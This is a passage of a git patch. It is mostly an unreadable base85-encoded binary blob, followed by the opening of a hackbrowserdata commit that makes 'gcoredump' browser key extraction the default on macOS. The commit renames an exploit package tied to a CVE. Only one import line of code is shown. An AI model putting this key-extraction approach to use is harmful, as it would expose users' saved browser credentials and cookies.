z)jD8_=UGS`Ldk1#=&(2geVrJDOy|f^L`r4{dFBYMG&9yAQr&4w-tYAWcweA-ukU*m z7Tw1zx(0eHGK3|{?+fYJS}V0KRE1)HIzlWf&xk#PovvF+{PdgkpE*DMJE!G8dE@(P zk$UHoq$;j|*L6RUlCZ89HmvfWP&;wHwJA)~+Ei4SEkO(ZudYu>MqT#ozsT|`K zl3Mv+?RMIm5Ik*5AL-@{`b|HxNBdfwKCt+dbDV_7da?!1QAH-{7tE1Pn;bYM#PMH; z%eWYVuMpylz|>AR9>jB9(1R!C#NXL#^-9Li($4}T0tq3nwwNwTRDkYAO_x=cV&h9!lwK&U>pm@ev4k-rgQe zS^6|kfg4wLTbSY`B*^e*y{j-d5EX2tvR|$;)aD!JgHXF)v3HVCV=I&l1K)eMH*V@w zMz6qN%sq71_*zTe1#{w(fF@?dGF1-@{=wcH6|^qp6L%8nklA66TKz7 zihE6S|A3m^VB1!%HNLW9U?{jS4=OVSQ{Hc8iSv3PN(t`XoW3LA|CZc<3z?u3E)*46?2M(O|LSayP4t@(f4bPV{mqP}lseA5Fmd1@tJ6$9dy< zNtc`M^$>y(dU}k7x{79Uxd0lSM#9LA#78+4cmsIIma3Pcuvf-uCxiglOm%C6`8=zq zSW+QL_3T&K-^~Ci9D=2;9fKj33 z0Xq)k5K~(;9sI>H>L#0@eJKb#htbOGs~!76^%M-Lx1z0jrlOTK%Vi?1BvX+KiOClS9mU3-g`Cud83t_Q7 zD~oZiGEr>dtSk51I%hjq2bJFEDZ7s*ATzBI+%Dbe^3XWP)~G^{?!M*deN_X&Q{agp z{P;{o*0nWDiNk}i%&V!G4=9cPcR{Cvvn5Nq3rZ}f{Mn{T`PURW@EAfxZtYq zijQk{pvt!~%pYo`$eFj7sBBF7L*h5J>#zvI{q|Uv;V}9GVWF9T4hYBT@qu!yb*PwG zGwkfo+@$l>GU5;rqx5JEFs<$yQ@0YQ+E8*eq_ZyQfCAVLCk0_9s(;GlN@Z`Yc?>lG zF7IjCZ@b2i3xR^SiekSN@4uEtxmpJb49x%OpzihQ2BQbvQ}0{W6>x$JW#9E$mhq=7#zcwf>p^dR>|`bK z^RCP@v3T_!x|z%|B!*uuOtzdQT#-u^hV+9dPM6aR*7Mp;ezY~LV(imp@g>VpO?W@r zQcn9KBPE8OI;>RVYlB$MnQZl7&0%`&dko`l^gW!+8vssBr}XEX7t3sb)j8T@#OpZk z9nhM*YfuY_V0<;&69QZDc9M1Su!E5~%yeu=RfW{1xEQ_oQ@EDrB=a{HRE?!;@ZM?| z@G;nQe_WW{JAQ*ehhmZoT9;EYtBgrBLQoV>_*`x@tF2nEA7wudsH~(aJ0!4GREL)p(y2zAVX;#PW(Jel^9iPU)7TQLSeV z&)mp~8z+;fQs{1%Bwa^Sy!6k@L{A@hj~UFe37}ivB5Y|-AnZtIyoof;bi#1nKP#>B z8Hnk+iTnHkHFJE>D>m^WKG?e)2_=$kabv|0OOt{54`=u!N^Kxm#FV_fDR5p`=_>n1 zWKj1QRjTVta?n+Ql#?WKH5{coyn4C7I!AR2Z|t8CAaMY zqSuyZF9z2DD3$3a33@kka)fS0z+EhO)%CT1j=ByPRU$ZDweXJ}%ri*IOkRS+>!&(c z6kOKIaP@1Br0E*b$37CG$}^_lO!}8k9S&Tv=ll)eIM!L=C`F7z8-(G$DvOp z$FBWzuetyg_KupHz@2F-IHx_f3MovBe{V$R1#tnaFPwM2YcOeWoB^3+$cw^O$w z5L9vXnino1Fa9KqV%Hx{gNdkCXNKm)RgbeRJ|s8p2e~cXH(OS{^~?C9oCqC?)!N<& zWt}32AYjk_OT;PQa`Pcv9XsNRH{kz}aT#EMC^{*i6zQXkd+|n<9W;3;7CErXAX3wj8Hbl{-TUy`xDy3MJtb;axZaphdUQ$o)sj1zm;K3a z(2G6$yJL;C)ULx&_=b$Zl%c$yaOexq#tl5dizypF6aPMRgxAZzmD4vYs>U~avE$=W z%i7pIpQa$|E%{V&O9K@Z)Fiq4QA?vb?d|M`86tVF;QV6N533(lepS;}0)YyF_qrzLX)234e&FYu$Pb3R9jjB@PU8&H?b zf&BmuDV|v}DskDHuEELoGWYd$3u7QZ{FD?smD}-9$&R0kqU^dLws;@kZnmN-8WNZz zM_q+>xYbu(=euXNZ-5G^1`g>~BZe*;-PO$)w!2MbsUw?be(#rVlXtn&tg3*>7+E+w zn4FNwf5k1)rWorVz4J$5^#klj27$JMxPW`nRz)-NB^2SzpaBaGDK6|vqq?%7!mp4_ zMr3xENR_0z1CIj9aFt9hV0^2h=HrZ5ZoLz<`6I2&WPj!v>#1OFaplPI&r;*kv)^7< z!sE@b*Q0QfS#;a`$$(h!QJqDK8pItTG4jRp@iM~>_zvaSCh=t*s5lx8F5;^1D>i}sL+{JFRVVHUCb#n!|Qk~~55 z-|5l$Lg-i|LkgbQ0w4Df$!;^A>Y&@ZZThz%iEr~c9sbhnEB3K-1?JV_Ao*Py>q?6Y zkZ%~;h)2=cdAsuEB0oGn(|5|Jaa4 zPWc+1uyfncuz$-+OC?PE4RJBtR>H6QyxN@0^88(N!TpzgBTe5zZrIwOOKt(1Q@_Kw5DN*#78TU-k5LD2Ky zd0Cv92xk?kp9aJ0S+E(Mg!TK4=PLx`a{7Rg55Zgk1FgkjSXWf=xj(sn_7%Hb8ye|6W-F5zhk z0i=2)y&wTn@}Cudjr^^*xW;2_Tg&~8&(rHelJ(V?N&f~`#cPWW;S?dhR4TH-E~??` zt7X@3EGpA8IYXZ@T_usL^VMhlg;`=;M<=7>B?;7#cg&D^9b@ObTL2fU7JCMRWsFPR zT;D*roD^PUuGS$ve*l#U3u>#T{fW7f%x2x&S57w+>GzD3X# zfS_9X$zQeN$7rd|$>w%8#|E$0rMqtx^uZ1R=iUyAc|8Rx??hg+cfvoM;`MhZ~?$S{GY93er{K1;5LcMYEvY)}2K^Pm9 z%Y`CJD}22jfO-zuMl+u764blZN}$^F=#{_}H!QeNX8qJtzklRLKty;s?VE4A5(N*` z$`54Wqb*IL5GDmU>LIiDq5O+!~S&{)0pq>bfxav z8xn|0N|^&^&Sews@vy;!jJq);C~JvNcS(|q63q8?rUMd#(~>e|SOSRzIL^$hUmhFZ z-uQm00m3WlJ9pb#T*<7~HZLj3)D1?fhNuq!QRYcm)nfxL9=gKOQ_$F3x zmUGJ0b!1#e!=AAucjwrsxvZ{GY&@=H<-N#k?rX(Kscp>qPmBIVNhGU}?NkLWS+7(? zDVpFeTCHI*#sD&Ag0E4?PO76CDZW1KO|fup-4-Q+X@JW?tvs-%Gad&8yO#RYA)kO@ zGE{7G&01cSRP~g83l90xd5?^%tQnVN!0Thd&As$tB#a5nia|8oNusev73XM1ejG+a zv?)=NbHEhKYx#^Fs_}bmfsgJf1n$Je?uWDG@rN_d!uH(kTy8DL!`S|{z*ExCB;(?o z@CaP^iGw1!@z5+Z?UBZ)jcxgO?YzZv{P3O=+O;}8R@TP+DKfL|n_YiB63z`xx_W|~ zM}*KaUd6zow3X%IkTOa}+U3{cEVMObG!t*939dbOJWD+38+%s9BV5IWI)A1znLKc< zR`9#&>VQku>S_fqLfnClNFq#f(HDT6JO0%c6sH zDrBFXB{$o2Bh}e1f&9+P4XoWYsD=bye4A=p#$p?}V_`E;5O$&~ z3}mB$cYK8_>$&V!6n2-c27zy~Z*)uEnMHn#^oGWL4@{Q*Ou1y8=L#nu`=0= z0wCqs>pA=$dk&r6fwIr)>4_(QEfMrILlzi#wZff4VT6N+T?KQTwq?dgF_%*7d9m_= zWS3y3u4Ne+j&EU!4Aaa^2*Ke7H9NP=N&O;q9X-rY`O4Tx5UFtBYQi4|p9>5l;lor)w#*X0pxXgb*VSu4&Y`I|%w#OlhJmmpd^RqbPjay3 z*HYEL0|7io)L=IyCRn|8?QGAhQ=w@>J@aS;UF3tF*~Dq5LX$>=1~eomiVn31EpLb&qhjS6eat3Y_S=Qb0`WJ7>{r1g%7SA- zZ??M$G%AC%MTNO&7$oD4)Vz?Vf^dHm5p^@BEgmZ%))}iH6{4@c=dlV<@O;a)?YEN2 zck&}8iW2S@Gk+H;_Dv4nNcA^EzVfK62nra^dUB?Bh{EmOfP1bvR}1-ah7e!4cf^Ig zd-e?!rK>>%J+i`+6zs9enGImtb@{IH1#2v4% zqw8f|A&{tRfY(+wjN*^tA~gR9!~P(QBlKaZ`Gn^s0II9U<=g3x;kYbQts=D1mB+1Q zg4J0UiBav6m;!zAhgWk{uyp1EZlKbrFSQtTN_NrE^q~g9i~C&Q5lEO9-m)GE|8ekL z@)n#zsdByE`n)<=Td096uxyVdj6S6iA9p4AI%IcQY3pd*g-P(lp&KpNXAMR~;(Pk> z&z+rWsAi|ReCfHI72rK_rfyb7BBRz-l<*=mA$9vnaW_|?I%5*<@%%gBs}nRpNZM*| zl2JTI272{3f$33BbD_V*sgho<;c7x~=o7FEdvz&SJ|Z=qpvi{)3CUja`{hRKYW6Ny zN!zBLI-lUdcWa`cL*R;p;gspa=F6n&WBkxy54S7|M+2(_|ErB}<28}%$yeZq(a{l) zf?JBEYGlE8VyHn;@d?8UvNyuYiXN*>EAdK0{);utyub}6ut3kMAGebUr1QeX~mlBZiyPcq=^FiRPJ$mgraM3Nv5?BqD ze~c5qX1VIx;wztyC2PSN_=Ova$vs-%GwJjGPFZK3ci zB2C{mOgALKH1|)&R5R8?<^I}a%x`AK@gfsChnk#u>`i<4N158EqjuR4UjQGw_Hs*{mM zXK7#jYUJqdO{=+{KrUe(Kb@ll)FZq@@HfA%6a`G$BgRoE$1_uHb5Lh0rGSOxb`=uV z499lqTa$In#?cAHtn;L+x02~+6zfK}9LNa#s@=Q5$en*9;uCTPYT{$-ceR6mz$sd8 z3IN>JmysDIA>0Fb%ZZkuK&m0Mi^yBX4Jl3Ei@%+*EGf(p-Nv_E=RMoEpbkO18xzfm z;_3XHu*1>GtorZTB}un3J@ybu@sVVGt;Tb2quE`%U{hf#gx)eRU&Mk~J~fgfrrA!_ zOiZ1KZ*^Tk!^1n2u=P4jV-JUU=@cJuQB0kBNpYVh{Z3&K#y4S6@f_+sj_|A6uGRMv zFJv4z!448r;NW>*gHZ^<{e(s~--}U{H)a z)q9p%6^31crnKu!#-Z_%+$xRfmx4akHcGlxeGrnrk1WA>$L%iDG%_hdKNs!Sqk|er zvoA(fNW6k?%>n|*?AJ;I12oM$QG^cTQ+S6gb^~MyM7ny9foF7d<+^gGatIIf=u?#% zoG?n#UkccgijWE56{asmCum=z9^xEnj6 zKaq#TX)cm_?k@Lznq%6{bP+$|Q3SIKW*4geca1IMf9w4J&HuIkhkAMdwEwFfUtU5* zMd6=t&c^Wn*-wz(rVOrYJXD70qzxnnMrC7T)Nl&nHu zg}4AkHw=i71TlWv4l<(0E}<>1woE>RFvOH2aIrOAV*a>-fWGabdN~hbgyMx23X%xP z*wh(KIb{O}t1*J~>{Q*~-~GN3s1bD*srq<@0pwB5K#0Z%MtcUeUuMXWq=7ghKA!^v zY(v~A-1Nd#UvTu3v8bC~;2PNVayJvTlYR8mYINopclY^j0paF&!^h=I0nEid92w)a zM_rLgkIET?bks8EsM)SxQP^lGbY$8)+8cFqGrTGYIWQGWO5w#uA;Yee-Iuzg8Sb8; z-tFmSfuV$av@CjjAc@{o7}X~3z`eFESt~lU&eTgZvuuDGANVf9Of1pT&ahHFjdN9s zPUzF^>iSzkjKW6U*Gaiq&#$6b2^wAMb-R&82tGyLv7_|Qk^QabhtQGi%yq_&izCHV z`YC6thHvI_L9d1iZLhd~46bMT$jO?NMv;pUK`Wdw)7Cv-DG8os{E#b|F(<|LTwf1Y zrc+MPPlQ(_8k?Rjlr&|J|6S^NC&vo+68=43g;tIJ@4I^zi(<&X;>Ip_jQxd;MWbnD z-p@iJ7V~H+L!*X>=1rbKE`#9nC?5a*t@|7x$oA0txc3>M(Oej8suz|c4<;43^=Y19 zQj<^>#A4bSfo2;G-a}@-aKn12a>xfFIJJ$;eWpsD-R8M zI$e;$Sbm%Ra-L~dX(k`BQN9H{{!~p0<}N0xu2~|Lwguj{1l&q#n*sq3Fh%y{D3+UN z^_nSlr7Q;v-EBM1(n81_Ba+iI?jxZC{Iyp%qgZ?_7jX zaPUYv^&JkZ2QESACD?5O9&A%LHHe1*%_GRv5q_%$Xiv28=3|A3B7TIaVRQE;3Dh<= z@fPRmyEMMTQ1WYEe(%a#Ut@WV^@j=W#66Rir78oF*#geH@(>5eqy{Ym(IJnOHP&+jfL_Ig@RL4#y($Ho2Mp z{7W&m@dwzfultT6f{Prw3g;4$6cflE)fo++;O~@Ly=jP!TU_xq++P zi^BTP|GmZR;VLQo?z#VdKqALLKbJ-=hkf6zL0k5*8cP7J0UF2y$Vy0eLZHJDEL`1n zmHx?%hXj-TxqN9VgE(@;E8XQ|`KQ0d*d@LR;LHXgXJH#`0iehrP>BP}Ka%1TJ71l& z6JW5VX?GR8lp<1-KcGYX2Bc-crliC-7Cn8Q*+Or_=I334S}F5Rbf74Yn&Js1&55F> zhI25`XZXBk^W&h*w6*GpZf`+RC4Iy{47c(`&(>1-NFUH=r^I9%E-)3LzW=HY!76^g z4dJs`&Th8Zv+=c>#r7^w$6pKeW*S+tNeIgBtrhaCMOWOlz#(t$4Wlm4yWj=E*Kj3o zdka<&DsHpl;E|QK{pXso2gO4g+$i8bP$2fCd0t9i+ZRv!y(8tf`)8NwmTp;Qml|r`&Ct#7T zO(13~9MT93N{LrLm~2h?@G~c+1&YhKit05)w`%GwmU1GiU%lWa4QB3rb*!+Q1A6%R zI3_?!p}$K=C1gJKZRM6isVpme?dqEN+OR;cP~W+$dqyi+G9z;s__90q0RTzI)+IU0 z0kkbxGZo}iKx>$hXqV4@oW1ZiogcZAVfPTDNZptro&3<< zz0|rsbC_PI;+Ao+JaCa4uN6y^nGmV~`aS5^9y(|+BL~6|?t=GYnJyegsRABvQEG8;YZ6AH|&^N6?~>csbf1K^FYYz^4owy9%s=n-lMUSJ?c zEqWcC({eCsVS`$4QS&4o>i(dYY`0W}MZw#5I7hXAH#z2=M4z3w}Lq)f% zRe&tr+o_h4)+wTiaDwGgF5!v7?~Gcqy)}R${`Dzq65v$_Btqf?2)EA_E(0LZMf8*Y zCG3+vTp3i8zutZo1fa82jkMFtTb^SbkZf!2XjBNe9fpQl)4YZVvi|3=o&9PRq>}_K^ezdw%UXF7xqxgv+54yqh$AAC-Ng_L z$+>}t2mibXmeZO<@7)r;HoBqEQKtTABdt4aW6yp==6F9DuieN+8u{X9133z3vYIH{ z@=bQ7HBGWy5GVC@C1o5R-%o#8)6_YE0JZDst(J>BjsowBrs;MwxN=@eqkofUCB`ja*zoDLzIcsO$9 zsE_nw&v^{^6iJ}mOG96%+2#k^l*xXfnKX37XIfbr{)Mjha62_EToP8QM=|*lH3wEMctri)q3s)OoWl5pAwt$}@W~%<6*wuM= z^s%%j8~h{jOxN&j>%ha;inmn@>9u-;O>v=Fby#fD?MpH+ejG;rdE^-?i-Egt(puU` z{YIXQqSPK|ZJ6m~Juw?n3G}F2b~%L9Zj$4J#z(in-7TFJYMNVku6xRJL!c@Pk^QAC zP8`{-ppcUp@wfk`AX7Cu;^bs6P6>MrE7+oA#SZ*&uI?Qh{Zd|Wl?tns^7Cn*$SIEv zWm>-287Z^f`-GDUo-G`PuEfFU2t8i)ovfsby>yP7NAn>6P2CpPXR1Jo%eG_VRqPrx7tyU4JpmGb8Iy|uIQJNSf6 z{(kA(hI5lNP0}62;i1H;GG%ewR*kv4fI-lsxW5Xy*Mk>;Bo;YiCteeo#r5RzeZU6# z?~`1E)Qi;E>%8pWJvlJ2lp)%ASx^-&6Wy=QHAS=@2hGLIZg7>lVruV@C>l4U}C~ z{ZAu=SdUsc2x9UZe%|78;RkWq`pg(4SRJ6gl6G%Q^Qu4y2s)<4YBp*jq zekmAf2=`(>K)i19=x97lD6)pV!*R}SMd5;Zf)UQrK}SQm4v|lP40Nz?u4HIfgmL_} z&7_VXwi9*yd!y57DKwel!;Tk~Tc>PT@92ZZD}i9r;p#+tSW;}U_cDB5_tOUAJEdCd zdv^t{UU@t7;AL*w$J!*!s7ItimWr4LZVxyEsQFL_UOF} z_@ax@rg!INv7}K+k%5|hm_^X@mi)<`biJr;-D#hu@gHCgV=*L^5y@B>)c2PMVZ_PJ zrf#Vhw5B%Gb!c!z#$tr4i+HN3Li^ChL&};2{zo%gMGz?{yvyAwXH#kta~In6<<(Ct z|GRdJcA`cuq|xW=t_XU z7v~qSeVBpJL+%b3Omxj(njDy;Je$ie&`p%b3Do=qfDUg5IlsguW*=Y`%G@Y+gqaYw z>0N1y*3bTm&etQQZjotM4FRwr62npg^K`nxBGtsDXfek;;R&~!O^8cO+zSP zvWoy1YDoYjf+D?nf2QKJwv{NeKk6ifkWh0B%#2Rc;8`bLUB2DiVXtf1dUmlJ6F>s0 zDC%{WFq%6tzyu}=Pd8L>OR3)eqfXHgfnU{n(V)-%D&5W|;o)N_ukbiQRp9+|S&YZ8 zJ_RP}X}=BRBT3#y@6gZ3!oi%n=v%ykF?BmewgZ0rCH(d^Un0QQ%;mfggQur&VCH>EnF5=}2P$S{dPa_t5DWsql;KuiME6QX;<2 zijab(p7U&{zi$lyd@#=HxaMlKMR3NQbGbo( zvl9h3_^Q$fs^qr9INHmfRde$`Fjn#c^;w+UeU*Ak=!ENa)pjnu16aDFeCJf-OzHjI zl(16wDR7O2mixFA{I$#SXGwxP8`q8}+R`*qbQ_0QJwxe(b@GH!0@j4q9=Py7P ze>CALG9Q&e0-PFU6BK)PJ__Ia-VBW`XskV)BwI6B))friW7i)+!t-1p1%%KEBYw(M z&S?)Ier`q?Pq;g3RrWpofUva$pm=&m^2U(wm&d6HL_0y(&V-?KjBLTZG@;Ix3wg9Y z@zm+0{%0(bT99=xjl$HPRf2w4R+oe9QjGSuHmLPXNCM&Ow>Pe~ z%1dZHYhdcW^@q(`BWn#8-`9OXK62UDc~jL`TWxEBo6PN0EthcmyCgg-ry2!DuTveV zN40%HJ=-v_#Rm49m_BE;B&4B=Ett5IENi_Ah1-Ukkfw(%=V)xMu((zTV6$DVyNq4u=Dmj+3D3r(p+I9;guFMhj(AY z_<|-CfpzDWA%%e%w1OTcxIG*!m6+XvLbbnnvB*-8bD}hwqi37=cR%1qVvL_F2buUD z#d7{rTzJ|glv7ZpMZbBtF&2_(y_`K0nu(Ea_)>eF4UkZmT|_`+murmyI?z}wHvqcO z)mDXlBDuiHqDM&6=A3kcib=b|xq;7JuDILp6sLF$FO|7=k-$+Gmu*xYDa3i^d*b~0 zSnH@9HHMS=a(_bSSlRycW1wtFF5)fic6!o`ZaLk^*rDR7l(mbG(^8!17SysYUDUPI z#zd9BX&c-&1-w~_di9W_K(|Ps^~%`%57t`q4 zJtVx7;IculkS}JCl&?(zkVU=VB0(n;D)eAjgmGlsvIca56>fAl3yC)5)ITBTid3q_ zScg5tngq{fwx#b|ZLYD06M+yzPN>eMdH=8WzB($dW!ZZMcY+6Z2@)W9a336!;E*uD z;O-in00Dx#1wtSY+zA9iaEIXTmf#lr+moF0-SfTm?s@mV_x}89t>5hK>h9{@-BmTS z*6dxC687rz(2y(_7qG7^`{QOobZ#2Or)3e@VWZr2e(AePAZOx&Q zHn(ynYB=D?bsWNY;h-b;TTr6zJdE4?1mUPwDeby={JKc-KnJc6pFI&WsSNg;rA>07g?_Hj2+ zB-eXTZf{NKQ)u)}tx;v}9h;-cRMo52WQp%`9qX79X}gKH8IbQ!ymas_B%&Qm54C^Nr4|r%Ag9YfHM00`1qc zwFPZWs6n{3JG@TtG^Q3us!$SNH!bybLt)1{s!!VLERqi_Etpn(QCp`N-CwU) z;Gr<9h;|lzm5MvDsNKQ)FiT3G^lEc+47nUtSAYE)^R)1u_Ouj6-{ZbEGL^Z*UGGnx zq921a%bXNO%ClR;hq}Ir6LdAIFMQl;qsC19@|4A{_AoXj7m4*lu-y`gD@bhSYfuBO{$j`@2sl8rey*IRos%3GcMe*f&9PHuP4@6$y zPbEFvRYft1D29;dcRIeqV_1olvdt6}IPxnBC4KlFX>Qsu#`WqD%x|&hj+rM`{^I0k z`lS}P<99g)P7F?9Xg)GjzIPtoe}M#_DY ztn)%syIQ+xS%YyxKRQAn5rllZ4&v1?#ay_Ct_})cS*>Mq!`1QSRs%6Ses>Q442--C;Vu&i2k~oP%_HpsaGt z;fc1;%{n3t+FJ>7dkOIO$d`=j7%EwJn5+HtwN^Gf>}D2|I08+!)%(ueXN{I>^o6?2 zB+sVRud^SYiF4BD`B7iNSm!@w3E4KV3N%>=i7c+P$(Bb@^S^VFCC?O;E90iR7vM^w zWGY7OM3D1@TbJ#H+7$WmGS3&LHhtfVZy%jSfmhR-PO;=Ox#(_41W|(4F}H9SR!NJR zQleug)9(@su!4?*`4!{#!-OA^WEDHuEk05}?*(hz<-#VqIMD@*&`4=03j3`FAba!6 zb~Mdu%e*{_XO`>1rbXqp3op5yTTc`k!c^+Zk=;j2ZgC|vPIT0Ezfd04uS-|OXWw1E zeZ-06a1^N;^n|X3nN^@)C4l*qjC801_vXO%{X1_HLh)Yii(^RxWaD7RvJ&N7+e{0( zYxNxId(+i3kQnwhv&i}*uo%j#uoA;PFa^DD*Xs$rOWLE{yd5-2KKe#xD2Y)@<9$g8 zqKtcMju&kmFbs;m>}_>cOsKk8o|it&vXK z`@-thN>B~6mE8XRgfeB4x3fABRJlW=dQgh=(>ML&tSlvuo7enkwIR>rD~XDBq_ewc)O(bh z!Z$l|Li`(qVtJn)O%$=@x7;>nw!c)^)|eVhCXy3rsoqBD8XQZQ%`@_~dUsyRorB>z z@&J)7rnvi{=ne)NyZbr~ojwRHjgGv}=T^>daIPdm#gTv(g|3^O!5ciR5=BQ^VnkTS zT+)W6Rftnx+_-O?oh#F^8HJB?@PLJp*)?1>UOw(*RG3UP+{silfu4VsX2W?KrbV1O z6fU{d@F5bZwZ;mh2=jF{;z@NxL0lcH$i3f7+^>_UHoos?w+=%}i#ma^_Fcwz`L5Jz zf7f=dv9jHqp0@Nwp7^A@L-O_U44JNZRkO=8F3F<(oLK89rnhomFFvD$o-hw7%ES(@CeM;F zaZE@+@_I=;Jnt?#uhxw9+Q1n&QWh_f&m_cKm_jnBdib`_?UutVq0_{{);ZQs`lug! zK%*yYPj#O-q8f`~D|o1~qj;GfBrSKsOn;ZEo54z+oV>?s5x7FaPB?j{i z$Mq?W_X6T|Mq;sWgwDIZR}j>J?DQRe5-0CIkIzBuY^FI%=!TdeZ=t?-cf5jRq2lG$ zny0x;gyhU(SXcCZVOhSnWq;x#FR$RlkKLLI9yuNd#c%8?%;`2=GO6Id_FRKuZhmeN zoM)^3tgAa$iX&gis^X+i6LCl_#hzztKX359ZpcpHnUu+Hs$Of!^As*6*S36B3WZaS z5d9V|{0=H4r9u1vPX3 z8;_EU21gsEBN(e=UrXDh$H54#A79$!Ptt@t%wH_8~K&amAE;%=0_g~~)ZarKmS+(S+$ zP})Y{)Am`lb4TYD^3a&o)VbZL`q>-EQzE94U};}ep-gusc6wIi=@i~JuD>KksDSY{ z(yUCJS&Xk*hi$6?50v$!vMk^vFYZe}XP);{mN*Py$~Q7jcx>L@3Qt;L(GXdaK;pW` zcm5&8m4z>)Wr^V;p zf`u6bivL~$EYKyj+fpU(->}h$*ofM`@$!e%!#3rFvv}b(KtwDP+4yM%!@Cm!7YSiJ5 z6rnh)abl^MV|T{+7emVk>E?V`VqW=Ruhi#Kp0ae?f=RNjrqhaD(pg((2|{$$6tk!* zEQ-b+$0zs0Bkn50>bb1BC=S~g`1Ef~E!H+bOo(j$2I93C{pRlr6pJ0_Y|>?!f-Wzp z2rz&0byT6!QKt2~J+(_%3l6+9*u{Z;d+6UQEPmZ!g3!`JLxo0bwAmBBbi9eM%B=I* z&YI0M4b;^!BSd?UP~61$G?YFPwfRH)^Rdqieo8;k3VJImtj(V?QS2dEA?uzAC^grn zenYWRGiC*IJivDyB@THrobljQ&Fj%k_Cs*?xNP{d<|q@5zCeG^RAAHqaH z9%>5xl&mo&eI=gHtw^7WW%)5IDPr5*dNMqqs*$b?Ngq0}; z7XOwD5kGr#S=OYMJM!4{iHdkER8*@Trt2aV#uom-W%NHtO4P<8qQdr17GGfG3; z3KAMvW*G2Vos6PWJiH)9tDprNS{F^Q4ZCta_p02zc_`Xs*;o%H{5)E1pjEp2^{9EA zZQ4y>K#Y7Zu!-NjVTpJEy%59LF}4e(oo+@6x`k+yEV2CtF8FP0 z#>ohJ>dR10L@HQ8&o=jzYFYrvt&Py&lj!>CU01|iIsxcX?VSk!9H4 zdFHZjgQVi|z}t^zhOMrC@LGba_4#IL+W=(3)Feiv(pcdjB3ep~fa%Ba3b#TpseVLS zV{#L(Xi{~shkA>GmuAAv_`xrU=qIxv7i~sC6*nGqkAz8l z{d^?b3pw(`dJR<~^ppU%Mx@O6okcb!C!b zmND9vN7%M-w(X0$tB{IjHj6&bvt<(UxCm@ zU8N$bJ;TVt+)f!81{Md0v5xN7W|$)~5-Y)yWBdgkP#r0)$#FU=yko zZkjg_E3&50Jc)TM-#kqyT$S)qKNN67cE~&-!yTeoHh$OJs2VC4Zs`c7q)4*<=z_kW zLbR6?e?>K5ukZnf=DwCHi#)q2PF~&fF2}~snLhGK>w!}XqR9AAqb>t}r%*Hfn3)hwcD%S55~(^#EfrfPdKz!vFM7@7HPg2e79RY!s(3XcxCN-_U!(s0F_Uq3MEx&nfPgP+4u)rog^QK*pyAr>N>_eL}QBq;%Gpl41-U>N49MWM# zfNUPe?!68N2|f~&*O?3GO;Q@C@HUptAPm+Fjj}-Hjg9KDYB~|~8*b0dR9j4G#YZ;( z&XEJQH^k~l|GK9jEFjx!RvLdSXZ&HX+If9k?dzidVV2Sy`0Nq3G_H{3gKUJTAcE3& z?kiB8urMtK`R15+tElNeECS8@@Z=sh-q4-7FL7G2BaxYjJTUmGpoyN&;kD1V|B6uY zOP*=db2f`UtkjqQqe4 zEEn?16@tq{LiQqSzUax${yhB*BE9YuCe7K6Kp_U@AZ**gL#JNd*%^%db4(WfT-uChj0!lZ61QNbv&(|%VQ9IYw&*xmppnj2va3)o6hKJVPr*8ji;u_JqZGu6hRwC}|K zoJ2+EnV~UXm_l|$j!o5A#|YLCXOywZ873X`oyp9l3xv4iMa8psXq1OM9qe?s{lcMw zq0$l@e4jCTv+Y0?&F3wejBRbF;uRnLuj~_e^)zfn_R|>t3PKwMD%LWfk zq2g2y84~GaU8Y9y3b{@?Gjcj$oK<`elqc*bh{~LMneL1T<1b1pzz<0b#AqR;v0C-Z z$jeOlGRk}2bIvBt@XlTDd5B5s0Fh#Sm}WW0LSip7veLw1_~6ulVrAEf)2N-j*Xgs2 zm+e9QmqRua6MZhJMaho)@}J~g=j^RNJB&ShBw`%L{-t%Tdw%J@O*UOYG&&^(z0Zb= z1rE+ndcJ$+T9fAlS&50Px>-t&jo8ilhq(O(asfNsR!mI##X-`V^7l}rdtO@xF$_{& zN=QCku^wbq-b`z| zN}3+75Gz4HQA~X`FoKsuCYGqP;lLY>ZG16Cb>p^DadVE8*6V|9aX+I9sCff=}fpK zk2mCOb~6fci1+ArpLrq4gz&e|*$e*L&)MV4L7iP}JYW0|p0P(w03L})1cBPIK%g!c z5U2;ZB3b}EIKiL2M}V4`xH!9+z++hhF|gZ#7}@O^0O|n%aq>HWIO-ih4D}9x*Rcfx zb+Q8h#&?zj_zB3A0LB6GL6`uL0l?#E19O0o03ZN>=k-GY0G|s^@HqVN`0Q~0pLG9^ z!aWt33)B?q0tEubn^-_C?Et#Tm!Dybk*gHYZ|Bx#Jv}63^od}@z@681P`u{JzQvs3yWc?5GCH&s=-?|4# z`}fu&1N8r2&|45(&V6l5AYXtxjg+N}E!5#J83lkg+F$2NqYi|8hlhZ-a{-P7>H_^yv;1pnPxNX1*47W4j3fM;%U{_t&AW%18Bi)1m7y$4B z0Q8{S0)RgNzz(}V0_X>D0F3+Z*cc%H7yWsK+vQ(v310uJeZcE~)%kls{Xgn81;G0| zT?N+jpX%SQx&NY5aGU>UdIF#0@6MhEX#cOy6fXatoEL&W(Dvt^fdAq9dLjY;m;j&^ zz!HF;AW$!`o?aOME&$#E7z2U&fU$kN089Znf1WRVeQ+NL_ib<=2=w{o_uxJe4FKF1 z!hImz|H0ef!~)=7)noXc{GAU1?i2K%`Ojbb{7>>Hu*2`+A2~HtVJ`0WPS#IhPHvVa zFd(CXhv&mzpU>>AVQ^pk|NH;_{xAT0^e^}lFpd8|z7J`DF>t{1O#Ja3`RfAL83+Im z0Dvz56#{4lFa-ec2Vi(R7XUcH2cZ7?9tZwVcXo1fa&R%Rfx37)IM_S6I6z%2e)R%u z3b?|@!Rb$b1TVw+aJ_{S*cp)VyZDO_*H<`!;c|Z$fAQhE4ks{tuHVI9e7GIJ2@IeA zckve=ZWC|tQs6Oc ZMC3VE{9elL2}RGU7=2*KpKE^fe*j#y*ogoD literal 0 HcmV?d00001 From 801bdee14d53805a28c4bf22dfa67d27c04e42d3 Mon Sep 17 00:00:00 2001 From: ac0d3r Date: Thu, 27 Nov 2025 16:50:34 +0800 Subject: [PATCH 3/3] feat: default to gcoredump key extraction on macOS --- browser/chromium/chromium_darwin.go | 24 +++++++------------ .../gcoredump.go} | 12 ++++++---- utils/chainbreaker/chainbreaker.go | 2 +- 3 files changed, 18 insertions(+), 20 deletions(-) rename browser/exploit/{cve2025_24204/cve2025_24204.go => gcoredump/gcoredump.go} (97%) diff --git a/browser/chromium/chromium_darwin.go b/browser/chromium/chromium_darwin.go index 6fe3dc5e..aeb64596 100644 --- a/browser/chromium/chromium_darwin.go +++ b/browser/chromium/chromium_darwin.go @@ -11,7 +11,7 @@ import ( "os/exec" "strings" - "github.com/moond4rk/hackbrowserdata/browser/exploit/cve2025_24204" + "github.com/moond4rk/hackbrowserdata/browser/exploit/gcoredump" 